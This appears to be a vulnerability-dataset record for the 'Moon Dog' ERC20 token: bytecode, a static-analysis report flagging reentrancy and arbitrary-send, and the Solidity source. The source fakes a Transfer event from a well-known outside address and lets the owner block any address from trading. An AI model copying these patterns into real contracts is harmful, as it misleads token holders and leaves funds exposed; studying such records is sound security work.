2600260205260408082209390935590871681522054611823908390611c75565b6001600160a01b038616600090815260026020526040902055611845816118ce565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161188a91815260200190565b60405180910390a3505050505050565b6000808060646118aa8587611c8d565b6118b49190611cac565b905060006118c28287611b90565b96919550909350505050565b306000908152600260205260409020546118e9908290611c75565b3060009081526002602052604090205550565b600060208083528351808285015260005b818110156119295785810183015185820160400152820161190d565b8181111561193b576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146108a757600080fd5b803561197181611951565b919050565b6000806040838503121561198957600080fd5b823561199481611951565b946020939093013593505050565b600080604083850312156119b557600080fd5b50508035926020909101359150565b6000806000606084860312156119d957600080fd5b83356119e481611951565b925060208401356119f481611951565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611a2e57600080fd5b823567ffffffffffffffff80821115611a4657600080fd5b818501915085601f830112611a5a57600080fd5b813581811115611a6c57611a6c611a05565b8060051b604051601f19603f83011681018181108582111715611a9157611a91611a05565b604052918252848201925083810185019188831115611aaf57600080fd5b938501935b82851015611ad457611ac585611966565b84529385019392850192611ab4565b98975050505050505050565b600060208284031215611af257600080fd5b81356117b681611951565b600060208284031215611b0f57600080fd5b5035919050565b80151581146108a757600080fd5b600060208284031215611b3657600080fd5b81356117b681611b16565b60008060408385031215611b5457600080fd5b8235611b5f81611951565b91506020830135611b6f81611951565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600082821015611ba257611ba2611b7a565b500390565b634e487b7160e01b600052603260045260246000fd5b6000600019821415611bd157611bd1611b7a565b5060010190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600080600060608486031215611c2257600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611c4d57600080fd5b81516117b681611b16565b600060208284031215611c6a57600080fd5b81516117b681611951565b60008219821115611c8857611c88611b7a565b500190565b6000816000190483118215151615611ca757611ca7611b7a565b500290565b600082611cc957634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d1e5784516001600160a01b031683529383019391830191600101611cf9565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220c492a8f143ca212e9fac91d01142864f8696e66a6d4e00aed38f6b25d348a70164736f6c634300080c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
1,298
0xf7f8553ec03ae2651c60914b6187bed6d436bb1c
// SPDX-License-Identifier: MIT pragma solidity ^0.8.4; /* https://t.me/moondogofficial Moon Dog $MDOG Completely dynamic fees - able to be changed when the community chooses. Join us and join a community that will have more power and control over their ecosystem than any other community in meme coin history. ***Original source code - separate voting contract deployed soon*** MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMdhhhyhmMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMdddyohhoohNMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMddhy-.-smy/osyhdmNMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMdym/+yhso+:::::/oyyyydmNMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMmhmhs/::::``.::::::://oyyyyyyyyhmNMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNho+/::/yys///+//::-..:::/shyyyydhdMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNmhyydNNdo/:::::://ymmNNmmy/-..::::/hh---dhdMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNmy/````:sh+::.``````.mNNNNNmhyyys+:::/hy-odhmMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMys` -ho` -/. +mNNmh:.y//+o::::/dsdydNMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNNNNNNNNNNyy+` .d: hNd:-:+dd+.` `..-::::::omhdmMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNNNmdmmddddddhhhhhhhdo-` `h+ dNNmmNNNNdo.``.::``-:::::+hmMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMNmmmddhhhhhyyyyyyyyyyyyyyyyy:--..om:` +NNmhydmhdmmddmNm- .:::::ydMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMNNmmdhhyyyyyyssssooooooooosssssyyyyyyhhhyshsosyhs+oymNNNNm+ -::::sdMMMMMM MMMMMMMMMMMMMMMMMMMMMNmddhhhyo+++oo+++///////////////+++oossyyyyyms+yys++ymNNNmds- .::/dmMMMMMM MMMMMMMMMMMMMMMMMMNmddhhyyyss+/////////////////////////////++osyyyhhyyyhy/-::--` .:ydMMMMMMM MMMMMMMMMMMMMMMMNmdhhhyyyso+///////////////////////////////////+osyyyyyhho-` `odNMMMMMMM MMMMMMMMMMMMMMNmdhhyyyso+/////////////////////////////////////////+osyyyyhhy+. `.--.``.ymMMMMMMMMM MMMMMMMMMMMMNmdhhyyyso+/////////////////////////////////////////////+ossoooshhs/os++++osddNMMMMMMMMM MMMMMMMMMMMmddhyyyyo+/////////////////////////////////////////////////+/////+yhd:` `-ohNMMMMMMMM MMMMMMMMMNddhhyyys+//////////////////////////////////////////////////////////oyd/ /mNMMMMMMM MMMMMMMMNddhyyyyo////////////////////////////////////////////////////////////oyyd-` -dNMMMMMMM MMMMMMMmdhhyyyyo//////////////////////////////////++++++++//////////////////oyyyyhys-..` -hdMMMMMMMM MMMMMMNmhhyyyy+//////////////////////////////++osssyyyyyyssoo+//////////////oyyyyyyhdddyydmMMMMMMMMM MMMMMmdhhyyyyo/////////////////////////////+osyyyyyyyyyyyyyyyyso+////////////oyyyyyyhhhhmmmMMMMMMMMM MMMMNmhhyyyys/////////////////////////////oyyyyyyyyyyyyyyyyyyyyys+//////////++ssyyyyhhhhdNmmMMMMMMMM MMMNddhhyyyy+///////////////////////////+syyyyyyyyyyyyyyyyyyyyyyyyo+sss+/+ossyyssssyyhhhhmNmNMMMMMMM MMMmmhhysooo+++/////////////////////////syyyyyyyyyyyyyyyyyyyyyyyyyyyyyyooyyyyyyyyysoyyhhhhmNmMMMMMMM MMNmdhhs+syyyyys+//////////////////////+yyyyyyyyyyyyyyyyyyyyyyyyyyyyooo+yyyyyyyyyyysoyhhhhdNmmMMMMMM MMmmhhy+syyyyyyyy+/////////////////////oyyyyyyyyyyyyyyyyyyyyyyyyyyyy+//+yyyyyyyyyyyyoyyhhhhmNmMMMMMM MNddhhy+syyyyyyyy+/////////////////////+yyyyyyyyyyyyyyyyyyyyyyyyyyyy+//+syyyyyyyyyyssyyhhhhmNmmMMMMM Mmmdhhyyosyyyyys+//////////////////////+syyyyyyyyyyyyyyyyyyyyyyyyyys////+syyyyyyyyooyyyhhhhdNNdMMMMM MNmhhhyyyys++++/////////////////////////+yyyyyyyyyyyyyyyyyyyyyyyyys+//////+oossooosyyyyhhhhdNNdMMMMM MNmhhhyyyyy+/////////////////////////////+syyyyyyyyyyyyyyyyyyyyyys+////////////oyyyyyyyhhhhdNNhMMMMM MNmhhhyyyyyo///////////////////////////////osyyyyyyyyyyyyyyyyyys+//////////////syyyyyyyhhhhdNNhMMMMM MNNhhhyyyyyy+////////////////////////////////+osyyyyyyyyyyyyso+///////////////+yyyyyyyyhhhhdNNhMMMMM MNNdhhyyyyyyo///////////////////////////////////+++oooooo+++//////////////////syyyyyyyhhhhhmNNdMMMMM Mmmmhhhysssyyo////////////////////////////////////////+ossso+////////////////oyyyyyyyyhhhhhmNNdMMMMM MNdmhhhyoyyyyyo//////////////////////////////////////oyyyyyys+//////////////oyyyyyyyyhhhhhdNNmNMMMMM MMdNdhhhosyyyys+/////////////////////////////////////syyyyyyy+/////////////oyyyyyyyyyhhhhhmNNmMMMMMM MMNmmdhhhsssssyyo////////////////++oosssssoo++///////+osyyss+/////////////oyyyyyyyyyhhhhhdNNmmMMMMMM MMMmmmhhhhyyyyyyyo+///////////+ossyyyyyyyyyyyyso+//////++++///////++////+syyyyyyyyyhhhhhdmNNmMMMMMMM MMMMdNmhhhhyyyyyyyso/////////+syyyyyyyyyyyyyyyyyso//////////////+sssso+osyyyyyyyyyhhhhhhmNNdNMMMMMMM MMMMNdNdhhhhyyyyyyyys+//////+yyyyyyyyyyyyyyyyyyyyyo////////////+yyyyyyssyyyyyyyyyhhhhhhmNNmmMMMMMMMM MMMMMmmNdhhhhyyyyyyyyys++///syyyyyyyyyyyyyyyyyyyyyy+///////////+yyyyyysoyyyyyyyyhhhhhhmNNmmMMMMMMMMM MMMMMMNmNmhhhhyyyyyyyyyyso++yyyyyyyyyyyyyyyyyyyyyyyo///////////+osyyysosyyyyyyhhhhhhdmNNmNMMMMMMMMMM MMMMMMMmmNmdhhhhyyyyyyyyyyyssyyyyyyyyyyyyyyyyyyyyys+///////++osssoosssyyyyyyyhhhhhhdmNNmmMMMMMMMMMMM MMMMMMMMNmmmdhhhhhyyyyyyyyyyssyyyyyyyyyyyyyyyyyyys+///+++ossyyyyyyyyyyyyyyyhhhhhhdmNNmmNMMMMMMMMMMMM MMMMMMMMMMmmNmdhhhhhyyyyyyyyyyssyyyyyyyyyyyyyyyso++osssyyyyyyyyyyyyyyyyyyhhhhhhhdmNNmmNMMMMMMMMMMMMM MMMMMMMMMMMNmmNmdhhhhhhyyyyyyyysssssyyyyyyyysso++oyyyyyyyyyyyyyyyyyyyyhhhhhhhhdmNNmmNMMMMMMMMMMMMMMM MMMMMMMMMMMMNmmmNmdhhhhhhhyyyyyyyyssoooooooooossyyyyyyyyyyyyyyyyyyyhhhhhhhhhdmNNNmmNMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMmmmNmmdhhhhhhhyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyhhhhhhhhhhdmmNNmmmMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMmmmNNmddhhhhhhhhhhyyyyyyyyyyyyyyyyyyyyyyyhhhhhhhhhhhhdmmNNNmmmNMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMNmmmNNmmdhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhddmmNNNNmmmMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMNNdmNNNmmddhhhhhhhhhhhhhhhhhhhhhhhhhhhhdddmmNNNNNmmNNMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMNNmmNNNNNmmmdddddhhhhhhhhhhhddddmmmmNNNNNNmmNNMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMNNmmdmmNNNNNNNNNNNmmmNNNNNNNNNNmNmmmdNNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNNNNmmddmmmmmmmmmmmmmmdmNmNNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNNNNNNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM */ //Note: Moon Dog isn't relying on SafeMath as recent versions of solidity // have implicit under/over-flow checking. abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amount_in, uint amount_out_min, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amount_token_desired, uint amount_token_min, uint amount_eth_min, address to, uint deadline ) external payable returns (uint amount_token, uint amount_eth, uint liquidity); } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract MoonDog is IERC20, Ownable { string public constant name = "Moon Dog"; string public constant symbol = "MDOG"; uint8 public constant decimals = 9; uint256 uint256_max = ~uint256(0); uint256 private token_total = 1 * 10**9 * 10**9; //max-supply: 1 billion tokens uint256 private reserve_total = (uint256_max - (uint256_max % token_total)); //max divisor address public burn_address = address(0); mapping(address => uint256) private reserves_owned; mapping(address => uint256) private tokens_owned; mapping(address => bool) private excluded_from_fees; mapping(address => mapping (address => uint256)) private allowances; mapping(address => bool) private bots; mapping(address => uint) private cooldowns; uint256 public liquidity_fee = 5; uint256 public reflection_fee = 3; uint256 public burn_fee = 0; uint256 private team_fee = 8; uint256 private max_tx_amount = token_total; uint256 private liquify_threshold = 1*10**5 * 10**9; uint256 private liquidity_tokens = 0; uint256 private fee_tokens = 0; bool private swap_locked = false; bool private trading_open = false; bool private cooldown_enabled = false; bool private exclude_burn_address = false; address private fee_tweaker; address payable private fee_addr; address public uniswapV2_pair; IUniswapV2Router02 private uniswapv2_router; event FeesTweaked( uint256 liquidity_fee, uint256 reflection_fee, uint256 burn_fee ); constructor(address fee_tweaker_, address payable fee_addr_) { fee_addr = fee_addr_; reserves_owned[msg.sender] = reserve_total; fee_tweaker = fee_tweaker_; IUniswapV2Router02 uniswap_router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapv2_router = uniswap_router; uniswapV2_pair = IUniswapV2Factory(uniswapv2_router.factory()).createPair( address(this), uniswapv2_router.WETH() ); excluded_from_fees[msg.sender] = true; excluded_from_fees[address(this)] = true; excluded_from_fees[fee_addr] = true; emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _msgSender(), token_total); } function openSwap() external onlyOwner { require(!trading_open, "Trading has already been opened"); max_tx_amount = 5 * 10**6 * 10**9; // 0.5% trading_open = true; cooldown_enabled = true; } modifier onlyFeeTweaker() { require(fee_tweaker == _msgSender(), "You are not the fee tweaker"); _; } function tweakFees(uint256 new_liquidity_fee, uint256 new_reflection_fee, uint256 new_burn_fee) public onlyFeeTweaker() { //The max fee (15%) cannot be changed //This is so the community doesn't have to trust the fee tweaker that much //Malicious behaviour is thus limited require((new_liquidity_fee + new_reflection_fee + new_burn_fee) <= 15); liquidity_fee = new_liquidity_fee; reflection_fee = new_reflection_fee; burn_fee = new_burn_fee; emit FeesTweaked(new_liquidity_fee, new_reflection_fee, new_burn_fee); } function banBots(address[] memory bots_to_ban) public onlyOwner { for (uint i = 0; i < bots_to_ban.length; ++i) { bots[bots_to_ban[i]] = true; } } function unbanBot(address unban_me) public onlyOwner { bots[unban_me] = false; } function totalSupply() public override view returns (uint256) { return token_total; } function balanceOf(address token_owner) public override view returns (uint256) { if (token_owner == burn_address && exclude_burn_address) return tokens_owned[burn_address]; return tokenFromReflection(reserves_owned[token_owner]); } function transfer(address receiver, uint256 num_tokens) public override returns (bool) { require( excluded_from_fees[msg.sender] || excluded_from_fees[receiver] || trading_open ); transferStageInitialChecks(msg.sender, receiver, num_tokens); return true; } function approve(address delegate, uint256 num_tokens) public override returns (bool) { approveOthers(msg.sender, delegate, num_tokens); return true; } function allowance(address owner, address delegate) public override view returns (uint) { return allowances[owner][delegate]; } function transferFrom(address owner, address buyer, uint256 num_tokens) public override returns (bool) { require(num_tokens <= allowances[owner][msg.sender], "Cannot spend more tokens than the allowance"); transferStageInitialChecks(owner, buyer, num_tokens); approve(owner, allowances[owner][msg.sender] - num_tokens); return true; } function approveOthers(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function editFeesOnAddress(address addr, bool true_or_false) external onlyOwner { excluded_from_fees[addr] = true_or_false; } modifier swapLock { swap_locked = true; _; swap_locked = false; } function setMaxTXPercentage(uint256 new_max_tx) public onlyOwner { require(new_max_tx > 0); max_tx_amount = ((token_total * new_max_tx) / 100); } function transferStageInitialChecks(address from, address to, uint256 amount) private { require(from != address(0), "Can't transfer from 0 address"); require(to != address(0), "Can't transfer to 0 address"); require(amount > 0, "Must transfer more than 0 tokens"); require(!bots[from] && !bots[to], "Not on my watch"); if (from != owner() && to != owner()) { if (!swap_locked) { if (from == uniswapV2_pair && to != address(uniswapv2_router) && cooldown_enabled && !excluded_from_fees[to]) { require(amount <= max_tx_amount, "Transfer amount exceeds maximum amount"); require(cooldowns[to] < block.timestamp); cooldowns[to] = block.timestamp + (30 seconds); } if (from != uniswapV2_pair && trading_open) { swapAndLiquify(); } } } transferStageToken(from, to, amount); } function swapAndLiquify() private swapLock { uint256 fee_balance = balanceOf(address(this)) - liquidity_tokens; bool over_liquify_threshold = (liquidity_tokens >= liquify_threshold); if (liquidity_fee != 0 && over_liquify_threshold) { uint256 half = liquidity_tokens / 2; uint256 other_half = liquidity_tokens - half; uint256 swap_this = half + fee_balance; swapTokensForETH(swap_this); uint256 eth_balance = address(this).balance; uint256 fee_total = (((liquidity_fee*10)/2) + team_fee*10); uint256 liq_share = (eth_balance / fee_total) * (liquidity_fee*10); addLiquidity(other_half, liq_share); liquidity_tokens = 0; } if (fee_tokens > 0) { if (!over_liquify_threshold) { swapTokensForETH(fee_balance); } fee_tokens = 0; uint256 balance = address(this).balance; if (balance > 0) fee_addr.transfer(balance); } } //This function is to circumvent uniswap maximum slippage values //just incase tokens back up and the swap gets jammed //this shouldn't happen, but if it does, this fixes it function manualLiquify() public onlyFeeTweaker { swapAndLiquify(); } function transferStageToken(address from, address to, uint256 amount) private { bool cancel_fees = false; if (excluded_from_fees[from] || excluded_from_fees[to]) { cancel_fees = true; } transferStageStandard(from, to, amount, cancel_fees); } function transferStageStandard(address from, address to, uint256 t_initial, bool cancel_fees) private { uint256 current_rate = getRate(); uint256 r_amount = t_initial * current_rate; uint256 r_xfer_amount = r_amount; if (!cancel_fees) { uint256 one_percent = t_initial / 100; if (team_fee != 0) { uint256 rteam_fee; uint256 tteam_fee; (tteam_fee, rteam_fee) = calcRTValue(current_rate, team_fee, one_percent); fee_tokens += tteam_fee; r_xfer_amount -= rteam_fee; } if (liquidity_fee != 0) { uint256 rliq_fee; uint256 tliq_fee; (tliq_fee, rliq_fee) = calcRTValue(current_rate, liquidity_fee, one_percent); liquidity_tokens += tliq_fee; r_xfer_amount -= rliq_fee; } if (burn_fee != 0) { uint256 tburn_fee = one_percent * burn_fee; uint256 rburn_fee = tburn_fee * current_rate; r_xfer_amount -= rburn_fee; reserves_owned[burn_address] = reserves_owned[burn_address] + rburn_fee; if (exclude_burn_address) tokens_owned[burn_address] = tokens_owned[burn_address] + tburn_fee; emit Transfer(from, burn_address, tburn_fee); } if (reflection_fee != 0) { uint256 rrefl_fee; rrefl_fee = (one_percent * reflection_fee) * current_rate; reserve_total = reserve_total - rrefl_fee; r_xfer_amount -= rrefl_fee; } } reserves_owned[from] = reserves_owned[from] - r_amount; reserves_owned[to] = reserves_owned[to] + r_xfer_amount; emit Transfer(from, to, (r_xfer_amount / current_rate)); } function calcRTValue(uint256 current_rate, uint256 fee, uint256 one_percent) private returns (uint256, uint256) { uint256 tfee = one_percent * fee; uint256 rfee = tfee * current_rate; reserves_owned[address(this)] += rfee; return (tfee, rfee); } function enableCooldown(bool torf) external onlyOwner { cooldown_enabled = torf; } function swapTokensForETH(uint256 token_amount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapv2_router.WETH(); approveOthers(address(this), address(uniswapv2_router), token_amount); uniswapv2_router.swapExactTokensForETHSupportingFeeOnTransferTokens( token_amount, 0, path, address(this), block.timestamp ); } function addLiquidity(uint256 token_amount, uint256 eth_amount) private { approveOthers(address(this), address(uniswapv2_router), token_amount); uniswapv2_router.addLiquidityETH{value: eth_amount}( address(this), token_amount, 0, 0, owner(), block.timestamp ); } function tokenFromReflection(uint256 reserve_amount) private view returns (uint256) { require (reserve_amount <= reserve_total, "Amount must be less than reserve total"); uint256 current_rate = getRate(); return reserve_amount / current_rate; } function getRate() private view returns (uint256) { (uint256 reserve_supply, uint256 token_supply) = getSupply(); return reserve_supply / token_supply; } function getSupply() private view returns(uint256, uint256) { uint256 r_supply = reserve_total; uint256 t_supply = token_total; if (exclude_burn_address) { if (reserves_owned[burn_address] > r_supply || tokens_owned[burn_address] > t_supply) return (reserve_total, token_total); r_supply = r_supply - reserves_owned[burn_address]; t_supply = t_supply - tokens_owned[burn_address]; } if (r_supply < (reserve_total / token_total)) return (reserve_total, token_total); return (r_supply, t_supply); } receive() external payable {} function excludeBurnAddress() public onlyFeeTweaker { require(!exclude_burn_address, "Already excluded"); if (reserves_owned[burn_address] > 0) tokens_owned[burn_address] = tokenFromReflection(reserves_owned[burn_address]); exclude_burn_address = true; } function includeBurnAddress() public onlyFeeTweaker { require(exclude_burn_address, "Already included"); tokens_owned[burn_address] = 0; exclude_burn_address = false; } }
0x6080604052600436106101a55760003560e01c80637cb24687116100e15780639fdcdda01161008a578063c54e7e3711610064578063c54e7e37146104f1578063ce5517a814610506578063dd62ed3e14610526578063f276b6c41461057957600080fd5b80639fdcdda0146104a6578063a9059cbb146104bc578063c10ac37b146104dc57600080fd5b8063930ce78c116100bb578063930ce78c1461041057806395d89b411461043d5780639746f7f31461048657600080fd5b80637cb24687146103ba5780638752a541146103cf5780638da5cb5b146103e557600080fd5b8063297f6f551161014e5780635d14aa42116101285780635d14aa421461035057806370a0823114610365578063715018a61461038557806379c393ee1461039a57600080fd5b8063297f6f55146102f3578063313ce567146103095780634bf6b68d1461033057600080fd5b8063235b41de1161017f578063235b41de1461025f57806323b872dd146102b1578063254f1471146102d157600080fd5b806306fdde03146101b1578063095ea7b31461021057806318160ddd1461024057600080fd5b366101ac57005b600080fd5b3480156101bd57600080fd5b506101fa6040518060400160405280600881526020017f4d6f6f6e20446f6700000000000000000000000000000000000000000000000081525081565b6040516102079190612658565b60405180910390f35b34801561021c57600080fd5b5061023061022b3660046124be565b610599565b6040519015158152602001610207565b34801561024c57600080fd5b506003545b604051908152602001610207565b34801561026b57600080fd5b5060165461028c9073ffffffffffffffffffffffffffffffffffffffff1681565b60405173ffffffffffffffffffffffffffffffffffffffff9091168152602001610207565b3480156102bd57600080fd5b506102306102cc36600461244a565b6105af565b3480156102dd57600080fd5b506102f16102ec36600461248a565b6106cc565b005b3480156102ff57600080fd5b50610251600e5481565b34801561031557600080fd5b5061031e600981565b60405160ff9091168152602001610207565b34801561033c57600080fd5b506102f161034b3660046125ce565b6107a3565b34801561035c57600080fd5b506102f161085c565b34801561037157600080fd5b506102516103803660046123da565b610989565b34801561039157600080fd5b506102f1610a26565b3480156103a657600080fd5b506102f16103b53660046125e8565b610b16565b3480156103c657600080fd5b506102f1610bc4565b3480156103db57600080fd5b50610251600c5481565b3480156103f157600080fd5b5060005473ffffffffffffffffffffffffffffffffffffffff1661028c565b34801561041c57600080fd5b5060055461028c9073ffffffffffffffffffffffffffffffffffffffff1681565b34801561044957600080fd5b506101fa6040518060400160405280600481526020017f4d444f470000000000000000000000000000000000000000000000000000000081525081565b34801561049257600080fd5b506102f16104a13660046124e9565b610d79565b3480156104b257600080fd5b50610251600d5481565b3480156104c857600080fd5b506102306104d73660046124be565b610eb6565b3480156104e857600080fd5b506102f1610f1f565b3480156104fd57600080fd5b506102f161106e565b34801561051257600080fd5b506102f16105213660046123da565b611102565b34801561053257600080fd5b50610251610541366004612412565b73ffffffffffffffffffffffffffffffffffffffff918216600090815260096020908152604080832093909416825291909152205490565b34801561058557600080fd5b506102f1610594366004612600565b6111cf565b60006105a63384846112d0565b50600192915050565b73ffffffffffffffffffffffffffffffffffffffff83166000908152600960209081526040808320338452909152812054821115610674576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602b60248201527f43616e6e6f74207370656e64206d6f726520746f6b656e73207468616e20746860448201527f6520616c6c6f77616e636500000000000000000000000000000000000000000060648201526084015b60405180910390fd5b61067f848484611483565b73ffffffffffffffffffffffffffffffffffffffff841660009081526009602090815260408083203384529091529020546106c190859061022b9085906127e1565b506001949350505050565b60005473ffffffffffffffffffffffffffffffffffffffff16331461074d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161066b565b73ffffffffffffffffffffffffffffffffffffffff91909116600090815260086020526040902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0016911515919091179055565b60005473ffffffffffffffffffffffffffffffffffffffff163314610824576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161066b565b6014805491151562010000027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00ffff909216919091179055565b60005473ffffffffffffffffffffffffffffffffffffffff1633146108dd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161066b565b601454610100900460ff161561094f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601f60248201527f54726164696e672068617320616c7265616479206265656e206f70656e656400604482015260640161066b565b6611c37937e08000601055601480547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0000ff1662010100179055565b60055460009073ffffffffffffffffffffffffffffffffffffffff83811691161480156109bf57506014546301000000900460ff165b156109f157505060055473ffffffffffffffffffffffffffffffffffffffff1660009081526007602052604090205490565b73ffffffffffffffffffffffffffffffffffffffff8216600090815260066020526040902054610a20906118d2565b92915050565b60005473ffffffffffffffffffffffffffffffffffffffff163314610aa7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161066b565b6000805460405173ffffffffffffffffffffffffffffffffffffffff909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080547fffffffffffffffffffffffff0000000000000000000000000000000000000000169055565b60005473ffffffffffffffffffffffffffffffffffffffff163314610b97576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161066b565b60008111610ba457600080fd5b606481600354610bb491906127a4565b610bbe919061276b565b60105550565b60145473ffffffffffffffffffffffffffffffffffffffff640100000000909104163314610c4e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601b60248201527f596f7520617265206e6f74207468652066656520747765616b65720000000000604482015260640161066b565b6014546301000000900460ff1615610cc2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601060248201527f416c7265616479206578636c7564656400000000000000000000000000000000604482015260640161066b565b60055473ffffffffffffffffffffffffffffffffffffffff1660009081526006602052604090205415610d495760055473ffffffffffffffffffffffffffffffffffffffff16600090815260066020526040902054610d20906118d2565b60055473ffffffffffffffffffffffffffffffffffffffff166000908152600760205260409020555b601480547fffffffffffffffffffffffffffffffffffffffffffffffffffffffff00ffffff166301000000179055565b60005473ffffffffffffffffffffffffffffffffffffffff163314610dfa576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161066b565b60005b8151811015610eb2576001600a6000848481518110610e45577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60209081029190910181015173ffffffffffffffffffffffffffffffffffffffff16825281019190915260400160002080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0016911515919091179055610eab816127f8565b9050610dfd565b5050565b3360009081526008602052604081205460ff1680610ef9575073ffffffffffffffffffffffffffffffffffffffff831660009081526008602052604090205460ff165b80610f0b5750601454610100900460ff165b610f1457600080fd5b6105a6338484611483565b60145473ffffffffffffffffffffffffffffffffffffffff640100000000909104163314610fa9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601b60248201527f596f7520617265206e6f74207468652066656520747765616b65720000000000604482015260640161066b565b6014546301000000900460ff1661101c576040517f08c3